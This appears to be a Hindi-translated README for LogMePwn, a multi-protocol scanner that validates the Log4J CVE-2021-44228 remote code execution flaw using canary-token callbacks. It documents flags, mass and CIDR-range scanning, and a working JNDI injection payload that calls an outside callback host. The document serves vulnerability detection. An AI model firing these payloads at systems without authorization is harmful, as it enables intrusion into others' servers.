
लॉग4जी आरसीई सीवीई-2021-44228 भेद्यता के लिए एक पूरी तरह से स्वचालित, विश्वसनीय, अत्यंत तेज, स्कैनिंग और वैलिडेशन टूलकिट।
LogMePwn एक पूरी तरह से स्वचालित, मल्टी-प्रोटोकॉल, विश्वसनीय, अत्यंत तेज़ स्कैनिंग और सत्यापन टूलकिट है जो Log4J RCE CVE-2021-44228 कमज़ोरी के लिए है।

LogMePwn Canary Tokens का उपयोग करके काम करता है, जो बदले में आपके पसंदीदा संचार चैनल पर ईमेल और वेबहुक सूचनाएँ प्रदान करता है। यदि आपके पास एक कस्टम कॉलबैक सर्वर है, तो आप निश्चित रूप से इसका भी उपयोग कर सकते हैं!
टूल का उपयोग करने के लिए, आप Releases सेक्शन से अपने डिस्ट्रीब्यूशन के अनुसार एक बाइनरी ले सकते हैं और इसका उपयोग कर सकते हैं। यदि आप टूल को बनाना चाहते हैं, तो आपको Go >= 1.13 की आवश्यकता होगी। बस रिपॉजिटरी को क्लोन करें और go build चलाएँ।
यहाँ टूल का मूल उपयोग है:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
एक कस्टम कॉलबैक सर्वर निर्दिष्ट करें।
-delay int
एक ही होस्ट को ओवरव्हेल्म करने से बचने के लिए एक ही होस्ट के लिए क्रमिक अनुरोधों के बीच देरी।
-email string
कॉलबैक सूचनाएँ प्राप्त करने के लिए ईमेल।
-fbody string
HTTP अनुरोध के बॉडी के रूप में उपयोग करने के लिए एक फ़ॉर्मेट स्ट्रिंग निर्दिष्ट करें।
-file string
स्कैन करने के लिए होस्ट की सूची वाली फ़ाइल निर्दिष्ट करें।
-ftp-ports string
प्रति लक्ष्य स्कैन करने के लिए HTTP पोर्ट की अल्पविराम से अलग की गई सूची। (डिफ़ॉल्ट "21")
-headers string
उपयोग करने के लिए HTTP हेडर की अल्पविराम से अलग की गई सूची; यदि खाली है, तो डिफ़ॉल्ट हेडर का सेट उपयोग किया जाता है।
-headers-file string
HTTP अनुरोधों में उपयोग करने के लिए कस्टम हेडर सेट वाली फ़ाइल निर्दिष्ट करें।
-http-methods string
स्कैनिंग करते समय उपयोग करने के लिए HTTP विधियों की अल्पविराम से अलग की गई सूची। (डिफ़ॉल्ट "GET")
-http-ports string
प्रति लक्ष्य स्कैन करने के लिए HTTP पोर्ट की अल्पविराम से अलग की गई सूची। (डिफ़ॉल्ट "80,443,8080")
-imap-ports string
प्रति लक्ष्य स्कैन करने के लिए IMAP पोर्ट की अल्पविराम से अलग की गई सूची। (डिफ़ॉल्ट "143,993")
-json
HTTP अनुरोधों में JSON प्रकार की बॉडी का उपयोग करें जिसमें बॉडी हो सकती है।
-payload string
उपयोग करने के लिए एक एकल पेलोड या पेलोड की सूची वाली फ़ाइल निर्दिष्ट करें।
-protocol string
कमज़ोरियों के लिए परीक्षण करने हेतु एक प्रोटोकॉल निर्दिष्ट करें। (डिफ़ॉल्ट "all")
-ssh-ports string
प्रति लक्ष्य स्कैन करने के लिए SSH पोर्ट की अल्पविराम से अलग की गई सूची। (डिफ़ॉल्ट "22")
-threads int
स्कैनिंग करते समय उपयोग करने के लिए थ्रेड्स की संख्या। (डिफ़ॉल्ट 10)
-token string
अनुरोधों में उपयोग करने के लिए कैनरी टोकन पेलोड; यदि खाली है, तो एक नया टोकन उत्पन्न किया जाएगा।
-user-agent string
उपयोग करने के लिए कस्टम यूज़र-एजेंट स्ट्रिंग; यदि खाली है, तो पेलोड का उपयोग किया जाएगा।
-webhook string
कॉलबैक सूचनाएँ प्राप्त करने के लिए वेबहुक।
-xml
HTTP अनुरोधों में XML प्रकार की बॉडी का उपयोग करें जिसमें बॉडी हो सकती है।
Examples:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
नया: यह सुविधा v2.0 में पेश की गई थी।
नवीनतम संस्करण के साथ कई प्रोटोकॉल के लिए समर्थन पेश किया गया है। अब तक हमारे पास 4 अलग-अलग प्रोटोकॉल हैं:
यदि आप -protocol तर्क के माध्यम से कोई प्रोटोकॉल निर्दिष्ट नहीं करते हैं, तो टूल सभी समर्थित प्रोटोकॉल के लिए सभी प्लगइन्स डिफ़ॉल्ट पोर्ट सेट के विरुद्ध चलाएगा।
देखें कि प्रति प्रोटोकॉल पोर्ट को कैसे नियंत्रित करें।
उदाहरण:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # डिफ़ॉल्ट पोर्ट पर सभी प्रोटोकॉल के लिए स्कैन करता है
लक्ष्य दो तरीकों से निर्दिष्ट किए जा सकते हैं, कमांड लाइन इंटरफ़ेस के माध्यम से तर्क के रूप में, या फ़ाइल के माध्यम से।
नया: अब आप CIDR रेंज भी स्कैन करने के लिए पास कर सकते हैं! यह सुविधा v1.1 में पेश की गई थी।
उदाहरण:
./lmp <अन्य तर्क यहाँ> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <अन्य तर्क यहाँ> -file internet-ranges.lst
./lmp <अन्य तर्क यहाँ> 192.168.0.0/26 1.2.3.4/30
प्रत्येक प्रोटोकॉल के साथ पोर्ट की एक डिफ़ॉल्ट समर्थित सूची जुड़ी होती है जिसे निम्नलिखित फ़्लैग्स का उपयोग करके फ़ाइन-ट्यून किया जा सकता है:
-http-ports HTTP के लिए।-imap-ports IMAP के लिए।-ssh-ports SSH के लिए।-ftp-ports FTP के लिए।यदि उपयोगकर्ता host:port के रूप में एक होस्ट+पोर्ट जोड़ी का उल्लेख करता है, तो पोर्ट की डिफ़ॉल्ट सूची को त्याग दिया जाता है और उस विशिष्ट पोर्ट के लिए सभी जाँचें की जाती हैं। यदि -protocol का उल्लेख नहीं किया गया है, तो सभी प्रोटोकॉल के प्लगइन्स का उसी पोर्ट पर परीक्षण किया जाएगा।
यह सुविधा v1.1 में पेश की गई थी।
आप -payload तर्क के माध्यम से सीधे एक पेलोड निर्दिष्ट कर सकते हैं। हालाँकि यदि आप पेलोड में परीक्षण किए जा रहे होस्ट का DNS नाम चाहते हैं, तो आप एक फ़ॉर्मेटिंग निर्देश $DNSNAME$ निर्दिष्ट कर सकते हैं जिसे उस लक्ष्य से बदल दिया जाएगा जिसके विरुद्ध पेलोड का परीक्षण किया जा रहा है।
जैसे, यदि आप इस तरह एक कमांड देते हैं:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
तो URL पर HTTP अनुरोध भेजते समय, पेलोड इस तरह दिखेगा:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
यह सुविधा आपको ब्लैक-बॉक्स फ़ज़िंग करते समय यह मूल्यांकन करने में मदद करेगी कि कौन से होस्ट कमज़ोर हैं।
आप उसी तर्क का उपयोग करके पेलोड के कई रूपों वाले पेलोड को भी निर्दिष्ट कर सकते हैं। (देखें payloads-sample.txt)। उदाहरण:
./lmp -payload payloads-sample.txt vulnerable.site.com
नोट: यह सुविधा कैनरी टोकन के साथ काम नहीं करती है। Canarytokens कस्टम DNS प्रारूपों का समर्थन नहीं करता है।
नोट: यदि आप
-payloadका उपयोग करके एक कस्टम पेलोड प्रदान कर रहे हैं, तो सूचना चैनल निर्दिष्ट करना आवश्यक नहीं है। पेलोड में स्वयं आपका कॉलबैक सर्वर होना चाहिए।
सूचना चैनल निम्नलिखित में से कोई भी हो सकते हैं:
-email)-webhook)-custom-server)टूल Canary Tokens का उपयोग करता है, आप यहाँ से एक बना सकते हैं, या टूल को आपके लिए एक टोकन बनाने दें। यदि टूल एक टोकन बनाता है, तो वह canarytoken-logmepwn.json नामक फ़ाइल में लिखा जाएगा, जिसमें टोकन स्वयं और प्रमाणीकरण (दोनों) शामिल होंगे, जिनकी आपको वेब इंटरफ़ेस के माध्यम से ट्रिगर देखने के लिए आवश्यकता होगी।
यदि आपके पास पहले से एक टोकन है, तो आप -token तर्क का उपयोग करके सीधे टोकन का उपयोग कर सकते हैं और एक नया नहीं बना सकते।
नोट: यदि आप या तो एक ईमेल या एक वेबहुक प्रदान करते हैं, तो टूल एक कस्टम कैनरी टोकन बनाएगा। यदि आप एक कस्टम कॉलबैक सर्वर का उपयोग करते हैं, तो टोकन चलन में नहीं आते हैं।